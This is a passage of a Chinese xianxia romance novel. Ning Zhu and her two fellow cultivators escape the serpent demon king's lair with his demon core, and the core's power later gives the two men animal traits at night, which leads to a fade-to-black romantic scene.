一枚八方镇宝砚散发出幽蓝的光芒,妖王踏入光芒的范围,忽然进退不得。 妖王的金色竖瞳微微眯起。 他抬手,捏碎了八方镇宝砚。 一枚飞旋的小剑再度布出金黄色的结界。 妖王的目光在小剑上停顿了片刻,勾唇一笑:“欲擒故纵?” 宁竹:…… 妖王再度把那柄小剑抓到了手里,小剑被他生生捏变形了。 宁竹法器多得是,又抛出一个法器。 她频频看向妖王的蛇身,祈祷着他们动作快一些。 妖王此时倒真的被宁竹勾起几分兴趣了。 他随手再毁掉一件法器,冰冷的金 瞳淡淡看向她:“你与昆仑神女既然有几分缘分,本王便允你繁衍妖胚。” “如此殊荣,你当感恩戴德。” 宁竹在心里破口大骂,简直是个神经病啊!! 但她嘴里却说:“妖王与昆仑神女是怎么认识的?” 果然妖王被他转移了注意力。 他停下毁坏防御法器的动作,眯了眯眼,似在回忆。 “……已经是几百年前的事情了。” 他笑了笑:“那个时候,本王只是族中一个籍籍无名之辈。” 或许是觉得眼前之人将死,他并不顾忌,宁竹被拖入一段回忆。 那天他在盘踞在一个小山坡上修炼,忽然有人大声嚷嚷:“有蛇!” 随之而来的是一柄飞旋的利剑。 他被钉死,不得动弹,痛苦哀嚎着。 是昆仑神女路过此处,驱逐那些修士,救下了他。 少女掬起裙摆蹲在他旁边:“好可怜。” 她用神力治愈好了他的伤。 最后还伸出手指摸了摸他的脑袋:“归墟五十年开启一次,每到这个时候都会有修士闯入,这段时间你便需要小心些。” 那个时候他还只是一条不会化形的小蛇妖,他笨拙地跟在她身后,送了她很远很远。 昆仑神女发现了他,她回过头,笑盈盈说:“别跟着我了,我没办法带你去音希山的。” 他盘旋在她周边,用脑袋顶起一株开得正盛的花,讨好地朝她摆尾。 昆仑神女笑了起来,她接过那株花,对他承诺:“那我有空就来看看你。” 她指着前面那棵开得正盛梵天花:“每十日我出来一次,我们就在那里见面吧。” 后来的故事很简单,寿命所剩无几的神族,和灵智初开的妖族,成了朋友。 妖王学会化形那一天,他学着那些修士的模样,穿了一件漂亮的黑色法衣,站在梵天花树下等她。 少年的金发如同灿烂的阳光,金瞳中荡漾着喜悦。 来前他对着潭水照了自己一遍又一遍。 他想,虽然自己的发色和瞳色有点怪,但这幅模样,至少不会惹她讨厌吧。 可是他等啊等,却等来了一对爱侣。 昆仑神女挽着一个清隽非凡的男子,姿态亲密,脸上是他从未见过的温柔笑意。 男人黑发黑瞳,与昆仑神女的发色瞳色一致,两人并肩立在梵天花下,如同一对神仙眷侣。 妖王躲了起来。 他听到昆仑神女疑惑道:“诶,我的朋友今天为什么没来?” 她身旁的男子沉声说:“或许是有事耽搁了,阿奎可知道他的住处?” 昆仑神女有点遗憾:“不知道,我们每次都在这里见面。” 她叹道:“归墟就快要关闭了,再不出去就来不及了,罢了,我给他留个信儿吧。” 昆仑神女用神力凝结出一朵漂亮的花,插在了梵天花树下。 她留恋地看了一眼,挽着男子离开了。 妖王躲了很久很久,直到天色暗下来,他才走了出来。 昆仑神女用神力凝出的花在夜色中散发着幽幽的光,温柔狡黠如月色,灿烂辉煌如日光。 他很生气,本想不管不顾离开,但最后还是折了回去,拿起那朵花。 昆仑神女的声音响起:“奕,对不起,我要离开归墟啦。” “抱歉一直瞒着你,我的寿命只剩下百余年了,我不想浪费在归墟了。” “我找到了相爱之人,现在要跟他一起去外面了。” “这朵花凝结了我的神力,对你修炼有益,抱歉,说好要陪你一起化形,我食言了。” 妖王拿着那朵花,跌跌撞撞追出去。 然而归墟早已关闭,要再度开启,也是五十年后的事了。 宁竹退出了妖王的记忆。 妖王神情凉薄:“现在知道我是怎么认识她的了。” “背叛诺言之人,实在可恨!!” 宁竹张了张唇,什么也说不出口。 ……他怎么会想得到,昆仑神女大概是在离开归墟不久后就死去了。 宁竹无声叹了一口气。 第79章 妖王竖瞳收缩, 眸光不善盯着她:“你们人族皆不可信。” 他加快速度,宁竹身前好几个防御法器都被破坏掉。 宁竹吓了一跳,再这么下去她也不知道能不能挡住妖王! 她忙说:“你想知不知道昆仑神女后续的事!” 妖王动作一滞。 宁竹忙说:“她……她后来还提起过你!” 宁竹见有反应,又开始瞎掰:“她说她很对不起你这个朋友, 在死前也曾想回归墟来看你……” 妖王的面色倏然一变:“你说她……已经死了?” 他的蛇身暴起, 尾巴高扬:“怎么可能?!” 她离开不过五十余年, 她不是还有百年寿命么?怎么会死了? 宁竹小心翼翼说:“……神女逝世在离开归墟不久后。” 妖王脸上浮现出一种极为复杂的表情, 似是痛苦, 又似是不敢置信。 就在这时, 他脸色一变, 蛇身忽然剧烈扭动起来! 整个洞穴都被搅动,一时碎石滚落, 灰尘漫天。 宁竹瞳孔一缩。 看来是他们得手了! 妖王很快维持不住人形,化作原型。 它发出恐怖的嘶鸣。 蛇腹的位置, 寒光闪过, 怀卿剑飞旋着刺破蛇腹! 黑色魔气翻涌,缚住蛇身。 谢寒卿和江似一前一后跳出来。 地面都在颤抖,洞穴之外,妖族们纷纷觉察到不对劲, 围拢过来。 江似一把抓住宁竹的手:“快走!” 金色的巨蛇在地面扭动着,却又被魔气缚住挣脱不开。 江似化作一团黑雾,将宁竹裹住往外逃。 谢寒卿紧随其后,剑光飒沓,过处血花四溅。 姜思无一直侯在妖巢附近, 看见他们三人,眼眸一亮:“这里!” 几乎是才接到三人的那一刻,那辆马车便飞快地跑了起来。 宁竹十分担心妖族会发现他们的踪迹, 几乎把所有具有遮蔽隐身效果的法器符箓都拿了出来,往马车四处塞。 谢寒卿安慰他:“宁师妹,他们一时半会追不上来。” 他在那里留下了数道剑意,加上有江似的魔气阻挡,够妖族手忙脚乱一阵子了。 宁竹放下心来。 她想起离开之时,现出原型的妖王,还是忍不住在识海中问:“……剖出妖丹,他会死吗?” 谢寒卿敏锐地觉察到她有些异样的情绪,问她:“宁宁,怎么了?” 妖王残害了不少修士,宁竹知道自己动的恻隐之心不应该,沉默片刻,她说:“没什么。” 谢寒卿还是耐心回答:“妖族失去妖丹并不会死,只是要重新修炼。” 宁竹:“……嗯,知道了。” 直到跑出去很远,姜思无才注意到他们三个都穿着婚服。 姜思无不解:“你们这是……” 谢寒卿和江似身上全是血和粘液,宁竹给他们抛了个洁净诀,才说:“一会儿再跟你说,姜师兄,我们救出来那些修士呢?” 姜思无道:“早被我往外送了,算算时间,这会儿应该都快要出归墟了。” 姜思无沉默片刻,到底还是同他们说了:“你们送出来的人中,有魔修。” 宁竹心头一跳。 江似不知何时带上了面具,靠在车壁上,环抱着手,冷冰冰看着姜思无。 出乎意料的是,姜思无道:“白晚把他们都带走了。” 宁竹一惊:“姜师兄你还遇见了白晚师姐?” 姜思无笑着摇了下头:“那些魔修唤她什么鬼母……这名字,实在是不好听。” 姜思无又看向江似:“白晚他们走的是另一个出口,你若是现在赶过去,或许还能赶上。” 江似眼睫都没抬:“不必。” 姜思无刚蹙起眉头,宁竹立刻打圆场:“姜师兄,放心。” 江似朝着谢寒卿摊开手:“妖丹,我要带走一半。” 妖丹是他们合力取出来的,谢寒卿自然不会独吞。 一枚通体晶莹的金色妖丹出现在谢寒卿掌心。 妖丹中好像有什么东西,但宁竹还没看清,妖丹便咔嚓碎成了两半。 江似将那半枚妖丹收下。 接下来的路程几人都没再说话。 马车速度比想象中快,天色蒙蒙亮起的时候,姜思无探头看了一眼外面,语气有些欣喜:“归墟出口马上就到了!” 宁竹忽然扯了扯江似的袖子。 江似偏头,看向宁竹。 宁竹凑到江似耳边,小声说:“我会去幽冥集市找你。” 江似勾唇笑了下,抬手揉了把她的头发:“一言为定。” 他倏然消失不见。 马车迎着出口驶出去。 谢寒卿 牵起了宁竹的手,他握得很紧,似乎害怕一松手,宁竹就消失不见了。 他们被一片白茫茫的光包裹住。 光芒淡去,宁竹的脚踩在了实地上。 谢寒卿依然与她十指相扣。 有人倏然朝他们跑过来。 宁竹抬起头,无烬的发在风中飞舞,他跑得很快,几乎要撞上来。 但到了他们面前,无烬又生生止住。 “宁师妹!你们出来了!”白暮的声音响起。 宁竹愕然看向白暮:“白师姐,你醒了!” 白暮被谭芸扶着,脸色还有几分苍白,但看见他们平安出来,很是开心。 宁竹又转向无烬:“无烬你不是在淮水吗,怎么也来梦京了。” 无烬道:“归墟马上就要关闭了,你们却迟迟不出来,我不放心……所以来看看。” 宁竹笑道:“放心,我们没事。” 白暮早听其他弟子说了妖巢的事,她十分紧张:“你们没受伤吧?没被种下那什么妖胚吧?” 宁竹想起来正事:“我们都没事,白师姐放心。” “谢师兄,得抓紧时间喂那些修士服下妖丹。” 谢寒卿颔首:“事不宜迟,他们被安置在哪里?” 接下来便是一番忙碌。 谢寒卿将那半枚妖丹研磨成粉末,喂那些被植入妖胚的修士服下,不久之后,那些修士开始吐黑血。 一天折腾下来,总算是解决了心头大患。 临近傍晚,众人脸上都露出疲色。 谢寒卿对宁竹说:“先在梦京歇息一晚吧,明天我们启程回天玑山。” 宁竹累得手指都不想再动弹,她点点头:“好。” 至于制作傀儡,取出昆仑骨的事,明天再说吧。 她现在只想好好睡一觉。 窗外的落凰花林发出飒飒响声,如同红色海浪汹涌起伏。 宁竹枕着声音,很快睡着了。 月色如霜,悄悄攀上房梁。 一道幽暗的影忽然出现在宁竹门外。 谢寒卿足下无声,色若琉璃的眼清冷如雪,眼尾却泛着诡异的薄红。 他站在门口停顿片刻,推开门,径直走了进去。 暗色的影一点点覆上熟睡的少女。 然而这一次,蛰伏在体内的欲望再不得平静。 仿佛有一只手在搅动他的骨血,浑身都在沸腾,指尖被灼烧得微微颤抖。 小仙君喉头发出细碎的,委屈的呜咽。 他跪在床榻边,如同小兽轻嗅宁竹垂在榻边的手,又俯下身,试探着,一点点含住了她的指尖。 脑海中紧绷的弦终于断了。 光风霁月的小仙君,眼睫濡湿,认真地舔.舐着她的指,吻上她的掌心。 宁竹是被痒醒的。 迷迷糊糊间,她的手就像浸在了一汪温水中,水中游鱼调皮不堪,在她掌心轻啄慢咬。 宁竹一点点睁开眼。 月色清浅,整间屋子就浸在水中。 有人跪在她床榻边,仰头看着她。 宁竹倏然睁大眼。 她抬手揉了揉眼睛,以为自己是在做梦。 然而她再定睛一看,小仙君还跪坐在她榻边。 那双清冷剔透的眼睛如同一汪融化的雪水,荡漾着细碎的光。 ……而他的头顶,冒出了一对柔软的白色耳朵。 宁竹声音有几分颤抖:“谢,谢师兄?” 谢寒卿弯腰,用脸轻轻蹭了下她的手,身后那毛茸茸的雪白大尾巴在欢快地,轻轻摇摆。 不,一定是在做梦。 宁竹探出手,冲着那对粉白粉白的耳朵捏了一把。 柔软的触感叫宁竹险些跌下榻来。 宁竹睡意全失,跳下榻来,又去摸了一把他的尾巴。 那条白色的尾巴倏然卷起,讨好地贴着宁竹的小腿蹭啊蹭。 谢寒卿的呼吸变得很重,他声线亦有几分颤抖:“宁宁……” 尾音缱绻,每一个字都像一柄小勾子。 似乎没有觉察到宁竹的抗拒,谢寒卿的尾巴倏然膨胀,欢快地将她整个人都卷起来。 宁竹被埋在厚实绵密的白毛中,拨开毛发剧烈咳嗽起来:“谢师兄!” 小仙君的瞳孔已经微微失焦,他呼吸急促,那对毛茸茸的耳朵抖动着,将宁竹缠紧。 有什么东西硌在宁竹腰侧。 滚烫得像一柄将要出窍的利剑。 宁竹面色涨红:“谢师兄!放开我!” 小仙君却变本加厉,讨好地,轻轻蹭着她的身子,嗓音如同一团绵软的云:“……宁宁,喜欢你。” “……好喜欢你。” “……想要你。” “想要……” 宁竹伸手捂住了谢寒卿的唇。 小仙君用清冷濡湿的眼看着她。 舌尖试探着,一点点挑弄着她的掌心。 宁竹忽然注意到他眉心隐隐约约浮现出金色的纹路,像是一朵花。 ……总觉得看起来有点眼熟? 宁竹倏然想起什么,瞳孔一缩。 她忙分出神识探入他体内。 某种强大的,隐隐有些熟悉的力量蛰伏在他体内。 果然!昆仑神女残留的神力和一股妖力纠缠在一起,在谢寒卿体内横冲直撞。 宁竹知道是怎么回事了。 妖王竟然将昆仑神女用神力凝出的那朵花炼化到了自己的妖丹中。 许是妖王的妖力比别的妖族强大,加之神力日日与妖力纠缠,妖丹里与神力交织的妖力轻而易举侵入了谢寒卿的身子。 宁竹试图引出那股力量,然而失败了。 宁竹心急如焚,正思索着该怎么办,忽然想起一件被忽略的事。 江似也接触过半枚妖丹,会不会…… 砰。 门被人打开了。 冷月高悬,江似立在门口,银黑交织的发在风中飞舞。 他速度极快,魔气席卷,直直朝着谢寒卿刺去! 第80章 忽有九条蓬松如云的洁白尾巴出现, 将宁竹包裹住。 魔气被尾巴挡开,江似还要再发动攻击,宁竹大声道:“停下!!” 江似迟疑片刻,蔫巴巴垂下了手。 谢寒卿的尾巴也慢慢垂落下来, 但还拥着宁竹不肯放开。 江似咬牙切齿, 头顶控制不住地冒 出两个银色的小角。 有点像鹿角? ……就, 有点可爱? 她的目光不受控制飘到谢寒卿的那对毛绒绒的耳朵上。 ……这个也很可爱, 手感还好。 不知道江似头上的角会是什么触感? 宁竹咳嗽了一声, 忍住自己变态的想法, 冷声说:“进屋子来, 把门关上。” 江似迟疑片刻,乖乖把门关上, 进了屋。 谢寒卿的尾巴已经收回去了,但还剩下一对毛茸茸的白色耳朵在轻轻颤抖着。 他紧紧贴着宁竹, 眼瞳冷淡盯着江似。 宁竹发现江似眉心的纹路好像要淡一些, 猜测或许侵入江似体内的妖力少一点。 于是她问:“江似,你能感觉到你体内的妖力吗?” 江似贴了过来,紧紧挨着宁竹:“嗯。” 又被他们一左一右挤着,宁竹不舒服地扭动了下:“能逼出来吗?” 江似摇头。 他的注意力似乎全都在宁竹身上, 一直试图去牵宁竹的手,又被宁竹避开。 另一边的谢寒卿也是小动作不断。 宁竹被他们两人弄得烦不胜烦,啪地打在两人手上,站起身:“好好听我说话!” 谢寒卿和江似齐齐抬头看她。 一人瞳孔清冷,一人眼瞳幽深, 但都带着毫无保留的信赖。 ……仿佛就像真的小动物一样。 宁竹不禁怀疑,难道他们的智力也受到了影响? 她有点想笑,但很快板着脸说:“你们现在要尝试把体内的妖力逼出来。” 宁竹眼眸微微转动, 抬了下下巴:“谁先成功的话,我就……” 她耳尖有点发热,小声说:“我就亲他一口。” 谢寒卿和江似对视了一眼。 两人齐齐开始发力。 但是很快,两人都略带沮丧摇头。 “宁宁,逼不出来。” “宁竹……根本不行。” 妖王到底是炼化了昆仑神女的神力,宁竹也没指望那么容易就能成功。 不过她发现一件事。 现在他们两个……好像都很听她的话。 宁竹眸光微动,开口道:“如果我要你们……砍下一只手给我,你们愿意吗?” “愿意。”他们异口同声。 江似甚至已经凝出魔气。 宁竹吓了一跳:“等等!不是现在!!” 江似指尖的魔气散掉。 他抬眸看着宁竹,似乎有点不明白为什么她要叫停。 宁竹到底还是忍不住,抬手摸了摸他的角:“好啦,不是现在。” 谢寒卿朝着宁竹投来幽幽的眼神。 宁竹抿着唇,也飞快揉了一把谢寒卿的耳朵。 一个坚硬冰凉,一个柔软温暖,是截然不同的触感。 宁竹收回再摸一把的心思,飞快思索。 看来妖力影响,他们两个人现在对自己都是无条件信任,那么…… 宁竹有点紧张,她试探着问江似:“江似,我想学傀儡术,你可以教我吗?” 江似点头。 宁竹大喜! 傀儡术失传已久,若不是刚好见过魔宫地底的那具傀儡,宁竹也不知道江似竟然会傀儡术。 让他们主动剜出昆仑骨不是难事,难的是如何储存神魂。 只要她给他们造出新的身体,就可以着手封印昆仑骨了! 宁竹没有注意到,外面的天光在一点点亮起。 她已经迫不及待了,宁竹对江似说:“江似,不如我们现在就……” 月色淡去,太阳刺破云层,第一抹晨光跃入屋内。 江似头上的犄角和谢寒卿毛茸茸的耳朵同时消失。 两人的神情俱都微微一变。 “你为何会在这里。” “你怎么在这?” 话音落,两人同时出手! 轰—— 他们动静太大,姜思无等人都纷纷出来查看。 “宁师妹!怎么了?!” 扬尘四起,宁竹站在被夷为平地的屋子中,捂着胸口剧烈咳嗽:“咳咳,没,没事!” 江似已经不见了。 谢寒卿拨开四起的灰尘,困惑地看着宁竹:“……宁宁?我为什么会在这里?” 宁竹眼瞳一缩。 ……谢寒卿不记得方才的事? 姜思无最先冲过来:“怎么回事?我为何会觉察到魔气?” 宁竹干咳两声:“刚才我在跟谢师兄比试,姜师兄可能感觉错了?” 白暮蹙眉:“不,我也感觉到了。” 无烬空洞的眼神落在宁竹手上:“……你的手背在流血。” 姜思无险些跳起来:“快快去处理!小心被魔气侵染!” 江似盘旋在一棵落凰花下,遥遥看着宁竹。 宁竹被众人团团围住,每个人都在对她嘘寒问暖。 头很痛,关于昨晚的记忆似乎空了一块。 ……他为什么会出现在这里?他不是回魔域去了吗? 宁竹很快被拉着回屋去处理伤口了。 江似分出一缕神识前去查看了一番,见是小伤,总算放心下来。 江似悬浮在半空中静静看着宁竹。 宁竹心不在焉,对众人有些敷衍。 江似有点奇怪。 昨天晚上是发生了什么吗? 他进入自己的识海中查看,片刻后,江似瞳孔一缩。 昨晚是空白的,什么也看不到。 江似一点点拧起眉头。 众人再三确认,发现宁竹只是单纯地擦破了一点皮,并没有被魔气侵染,这才放下心来。 宁竹现在急需试探谢寒卿,谎称自己要休息,把大家都打发走了。 谢寒卿最后一个关上门。 片刻后,宁竹在识海中唤他:“谢师兄,你能偷偷来一趟吗?我有点事想——” 门忽然被人推开了。 小仙君抬起一双清凌凌的眼:“宁宁。” 宁竹:…… 合着你根本没走啊。 她招手:“谢师兄你快进来。” 谢寒卿坐到她床榻边。 宁竹忽然伸手摸了摸他的头顶。 平整的,没有耳朵啊。 谢寒卿仿佛有点疑惑,他喉结微滚,声音喑哑:“……宁宁?” 宁竹的眼神又忘下飘。 打住!尾巴的位置能碰吗!不能! 宁竹有点纳闷,谢寒卿什么都不记得,那对耳朵和那条……那九条大尾巴也消失不见了。 难道妖力是要到晚上才会发作吗? 宁竹看了看外面明朗起来的日光,暗自点了下头。 要确定她的推测正确与否,只需要等到今天晚上便好了。 梦京到底是谢凌风的地盘,宁竹留在这里总觉得束手束脚,她便说:“谢师兄,我们今天就回天玑山吧?” 谢寒卿的眸光微微下移。 少女眼眸圆睁,期盼地看着他。 昨天晚上,定然发生了什么。 ……只是为什么他会不记得? 谢寒卿垂眸,掩下眸中暗色:“嗯,宁宁想什么时候走?” “现在!现在就可以走!” 宁竹又说:“谢师兄,今晚我有点事情想跟你商量,我能不能去一趟你的洞府?” 谢寒卿颔首:“自然。” 他的目光凝在宁竹的食指上。 白皙柔嫩的指尖,微微比别的手指肿了一圈,仔细看,上面似乎还有几个细小的牙印。 冷淡的瞳孔中波涛汹涌。 ……这是谁留下的痕迹? 是他? 还是,江似? 一行人当天就赶回了天玑山。 宁竹回到阔别已久的小屋时,竟有几分怀念。 她熟悉舒适的环境中很快放松下来。 宁竹给自己烧好了水,往浴缸里倒了一包晒干的雪烬花。 幽幽花香散开,安神舒缓,让人昏昏欲睡。 宁竹捻了一朵雪烬花在指尖把玩。 水汽缥缈,浴室门口的珠帘在轻轻晃动。 形状各异,颜色大小不一的亮晶晶珠石撞击在一起,发出细碎的响。 宁竹无声叹了一口气。 她还记得这幅珠帘是自己亲手做的。 刚入门时她接了一个锻造馆的活儿,锻造馆每天都会剩下许多炼器材料。 宁竹用灵力一点点把这些废弃矿石研磨成合适的大小,既可以锻炼自己操控灵力的能力,又攒下了一批漂亮的珠石。 后来她便做了这幅珠帘。 算下来这屋子里许多东西都是这么来的。 虽然并不华贵,但几乎都是依照她的喜好亲手收集制造的。 ……不知不觉间,这里也是她的家了。 宁竹慢慢滑到水中,在水底吐泡泡。 憋了几秒钟,她猛然探出水面。 宁竹甩了甩脸上的水,给自己打气。 宁竹,有什么好怕的!试一试又不亏,要是成功了她不仅可以毁掉昆仑骨,说不定还能回家呢! 宁竹很快泡好了澡,她挑了件舒适的法衣,和衣在床上躺了一会儿。 夕阳西下,马上就要天黑了。 宁竹睡不着,索性起来检查那两条缚仙索。 嗯,是目前市面上最好的缚仙索,再加上那瓶高阶迷魂散, 捆绑住他们两个应该没问题。 ……妖力是不是晚上就会发作,一会儿便知道了。 宁竹已经送了道传音符到幽冥集市那间宅院中。 她打算把谢寒卿的情况弄清楚之后,就去幽冥集市找江似询问该怎么制作傀儡。 宁竹在床榻上翻来覆去睡不着,最后一骨碌爬了起来,提前赶去了无咎洞府。 此时正值夕阳西下,霞光万道,竹海涛涛,宁竹遥遥便看见白衣小仙君立在崖上。 风很大,鼓动他的袖袍,形同鹤翅。 那双如同琉璃般清浅的眼瞳在看到她的那一瞬,倏然亮起来。 宁竹跳下飞剑:“谢师兄,你怎么在这?” 少女身上的雪烬花香幽幽散在风中。 谢寒卿的眸光落在她沐浴后微微泛着粉的脸颊上。 喉头忽然有些发干。 ……某种隐秘的躁,蠢蠢欲动。 谢寒卿垂下眼眸,盯着她雪白的指尖看。 齿印消失了。 他自然而然牵住她的手:“等你。” 宁竹被他牵着往里走。 夕阳一点点黯下去,暧昧的蓝洇开,一切都像是浸在水中。 竹影婆娑,他们衣袖交叠,走在小径中。 风里缭绕着淡淡的花香,宁竹的手心竟隐隐冒出汗来。 她倏然想起,已近晚春了。 他们走到小院中。 院中流樱花已经谢了,粉白花瓣落了一地,枝头新叶嫩绿。 宁竹忽然有点难过。 她弯腰,捡起一朵流樱花,端详片刻,收到了自己的乾坤袋中。 谢寒卿问:“花已经残败了,宁宁为何要收集?” ……只是想到,明年的流樱花开,她或许就看不到了。 宁竹到底什么也没说,她笑了笑:“那朵花生得很好看。” 谢寒卿牵住她的手一点点收紧。 片刻后,他仿佛若无其事般道:“嗯。” 两人坐在廊庑下,穿堂风卷起地上粉白花瓣,拂动他们的衣摆。 两人一人喝着一杯饮子。 谢寒卿忽然开口:“宁宁,跟我说说你以前的事。” “来到天玑山前的事。” 宁竹不作他想,笑了笑:“也没什么好说的。” 原身和她一样,都孤苦伶仃。 她还有一个爷爷在世,原身却是什么亲人也没有了。 宁竹挑着一些趣事跟他说。 说她小时候最喜欢去河里捉螃蟹,挖石头,能玩一整天,直到有一次摸到一条水蛇,吓得再也没下过河。 说她最喜欢吃村口那家烧芋饼,常常偷跑去吃,回家后吃不下饭,到半夜又被饿醒。 说她上学……在村里的学堂时有一个很讨厌的男孩,那个男孩老是抢她的笔墨,故意把她新买的笔撅断,她气得跟男孩打了一架。 宁竹是第一次在修真界的人前提起自己的过往。 这些都是现实世界发生的事,只是她模糊了用词。 宁竹说着说着,忍不住笑起来:“其实我以前脾气挺不好的,动不动就和人打架。” 班里有人说她是没爸妈的野孩子,她抡起书包就砸人。 后来为什么学会了收敛呢? 是因为她不愿意让那个脾气不好的老太太和人争吵。 老太太要强了一辈子,总觉得宁竹永远不会错,哪怕和同学打架,也全是别人的问题。 宁竹不愿意看她和比小她二十多岁的阿姨比谁嗓门大,回家却气得躺在沙发上直喊心口疼。 她眼底浮现出浅浅的笑意。 可惜那样鲜活的老太太,已经是一捧黄土了。 谢寒卿不肯放过她的任何一丝表情。 他去查探过她拜入天玑山之前生活的小村子。 那里根本没有什么学堂。 所以她说的,是自己真正的“家”。 谢寒卿不动声色问:“宁宁可还记得家里人长什么样?” 宁竹愣了下。 这个世界的她被生下来不久后,母亲就死了,自然是不记得的。 宁竹摇头:“不记得了。” 她在说谎。 谢寒卿的眸光在她脸上凝固了一瞬。 所以她的“家”里,必然还有家人等着她回去。 不属于这里的天知者。 ……会是从何处而来?又为什么会知道这里即将发生的事? 谢寒卿自诩博览群书,但这样的事,却是连禁书里都没出现过的。 谢寒卿缓缓合拢掌心,将她的手握得更紧了。 没关系。 他一定不会弄丢她。《 》 80-86 第81章 谢寒卿开口问:“宁宁说今天来找我是有事商量, 不知是何事?” 宁竹沉默片刻,忽然掏出那条高阶缚仙索。 她咳嗽一声:“我炼化了一条缚仙索,不知道效果怎么样,想请谢师兄帮我试试。” 话音落, 一片安静。 宁竹知道很奇怪, 但她只能硬着头皮递给谢寒卿。 谢寒卿盯着她看了半晌, 淡声说:“宁宁要我怎么帮忙试?” 宁竹:“我把谢师兄捆起来, 你看看能不能挣扎开。” 她瞄着天色, 觉得差不多是时候了, 眼巴巴看着他:“可以吗?” 谢寒卿朝她伸出了双手。 宁竹眼角一跳。 ……眼前景象, 和幻境中的某个画面一点点重合。 她耳尖一点点灼烧起来。 宁竹不敢看他的眼睛,握着那条缚仙索, 将他捆了起来。 最后一抹夕阳也消失,天色倏然暗下来。 宁竹盯着谢寒卿看。 他的眉心渐渐浮现出一个金色的印记。 那对熟悉的耳朵冒了出来, 宁竹心头一松, 果然! 蓬松的大尾巴冒了出来,谢寒卿圈住宁竹的腰,声线有点哑:“宁宁,别走。” 宁竹抬手撸了一把他的耳朵, 笑盈盈说:“不走。” “谢师兄,我们去睡觉好不好?” 谢寒卿点点头。 宁竹便拉着缚仙索,带着他往屋子里走。 谢寒卿的双手被缚住,毛茸茸的尾巴却不老实地在轻扫。 尾巴很长,毛茸茸的尾尖时不时扫过宁竹的小腿, 带来一点轻微的痒意。 宁竹下意识抬手按了下他的尾巴,手感太好,宁竹没忍住顺着尾巴往下一摸。 小仙君身形微微一僵, 呼吸变得急促。 宁竹牵着他进了房间,关上门。 算算时间,宁竹在饮子里下的迷魂散应该发挥作用了。 她牵着谢寒卿在床榻边坐下:“谢师兄,我们睡觉好不好?” 谢寒卿在床榻边坐下。 小仙君抬眸看她,眼瞳中洇着一层如烟似雾的水汽。 宁竹哄劝道:“谢师兄,睡吧。” 迷魂散很快就要起作用了,宁竹打算在他睡着后,去幽冥集市找江似学习傀儡术。 她喂谢寒卿服下的这味迷魂散,因为用料较好,价格高昂,并不会对身体造成什么影响。 她得尽快把傀儡做出来,然后取出昆仑骨。 这样的话,谢寒卿他们体内的妖力自然会被消解。 宁竹不能让旁人知道谢寒卿中了妖毒,也不能暴露昆仑骨的存在,这一切,都得秘密进行。 谢寒卿躺到了床榻上。 小仙君墨发披散,拥着被衾,头顶的耳朵露出一点粉色的尖。 宁竹和他大眼瞪小眼。 片刻后,宁竹疑惑道:“……你还不困吗?” 谢寒卿:“宁宁,为什么还不睡觉?” 宁竹愣了两秒,她说:“你先睡。” “谢师兄,闭上眼。” 闭上眼会困得更快些。 谢寒卿从善如流闭上了眼。 宁竹等了片刻,抬手摸了下他的耳朵。 谢寒卿没有睁开眼。 宁竹松了一口气,看来迷魂散起作用了。 她替谢寒卿掖了掖被角,转身离开。 门扉响动那一刻,忽有一道清冷的声音响起:“宁宁,你要去哪?” 宁竹一惊,下一秒,数条雪白蓬松的尾巴从后方翻涌而上,缠住她的腰,缚住她的手脚,将她往回拖。 外面起了风,庭前花枝摇曳,婆娑作响。 宁竹跌在床榻上,几 乎被毛茸茸的尾巴淹没。 她慌乱间按住那些往她衣袖里钻的尾巴:“谢,谢师兄!” 谢寒卿垂眸,看向被他禁锢在怀中的少女,眼尾洇着薄红,声音哑得不像话:“宁宁,不是要睡觉么?” 小仙君的身子起了变化,宁竹的腰背一僵,试图躲开。 他却低头,轻轻舔舐她的耳尖,声音喑哑:“宁宁跑什么呢?” 宁竹后颈起了一层细密的颤栗,她缩了缩脖子,欲哭无泪。 她说的不是这个睡觉! 谢寒卿已经记得宁竹的喜好了。 他轻车熟路吻住她,那些毛茸茸的,不安分的尾巴,卷上她的脚腕,无师自通缠住她。 宁竹发出细碎的呜咽。 她好像成了一捧雪,被他含化在掌心。 小仙君抬起了头,眉眼如同被洇开的水墨,清冷又暧昧。 他伏跪着,如同仰望明月祝祷的信徒:“……宁宁,可以吗?” 宁竹眼角挂着一滴将落未落的泪珠。 从她的方向,刚好能透过窗棂看到庭院中那棵已经开败的流樱花。 她眼睫微颤,双臂一点点环上他的脖颈。 少女的声音很轻,也很笃定:“……嗯。” 狂风席卷过庭前落花,薄雾笼月。 门扉里泄出的一点儿泣音消散在风中。 凝结在草叶上的露水晶莹剔透,折射着幽幽月色。 宁竹扶着腰,脚下踉跄,匆匆离开无咎洞府,回到自己的小屋。 下飞剑时,她脚下一软,险些跌在地上。 她抖着手,撑着长剑,一瘸一拐地回了屋。 直到把自己整个人丢到水中,宁竹才感觉自己活过来了。 水面涟漪幽幽荡开,宁竹盯着水下青紫一片的皮肤,倒吸一口凉气。 她翻出一整瓶玉肌丹,哐哐往水里倒。 丹药发挥作用,那些暧昧的红痕和淤青一点点消散。 以最快的速度泡了个澡,宁竹又从乾坤袋里翻出一瓶膏药。 ……嘶,好痛。 宁竹一边骂谢寒卿,一边上药,疼得泪眼汪汪。 涂完药后,宁竹对着镜子里检查自己。 一看被自己吓了一跳。 少女双眸剪水,樱唇泛肿,脸颊上是还未褪去的潮红。 宁竹:…… 就算她再没经验,也看得出来不对劲。 宁竹立马吞下一颗隐气丹。 聚气于丹田,宁竹脸色一点点变得苍白。 嗯,这下不会被看出端倪了。 出门前,宁竹鬼鬼祟祟又折了回去,仔细地给自己戴上一枚香包,刻意挑的是味道重的款式。 确定好不会露了马脚之后,宁竹匆匆赶去了幽冥集市。 离开天玑山前,她回头看了一眼黑沉夜色中的攀云峰。 她抚了下乾坤袋中的阴阳精石。 失去元阴元阳,会被高阶修士看出来,但如果佩戴阴阳精石,可以遮掩住。 只要阴阳精石不离身,就不会被看出端倪。 另一枚阴阳精石已经被他炼化在了谢寒卿的剑穗中,他什么也不会记得,也不会察觉什么。 夜色黑沉如墨。 宅院中并未掌灯,一片黑沉。 宁竹跳下飞剑,轻声唤:“江似?你在吗?” 无人回应。 宁竹声音稍稍大了点:“江似?” 有东西卷上了她的腰。 坚硬的鳞片隔着薄薄衣料磨蹭着她的皮肤。 还在敏感的身体轻轻颤了下,宁竹抓着那条尾巴,被重重拥入一个怀抱。 江似靠在她肩头,头顶坚硬的角擦着她的脸颊,触感粗粝。 他呼吸很沉,气息滚烫灼热:“宁竹,你来晚了。” 他埋在她的颈窝处:“你身上为什么那么香?” 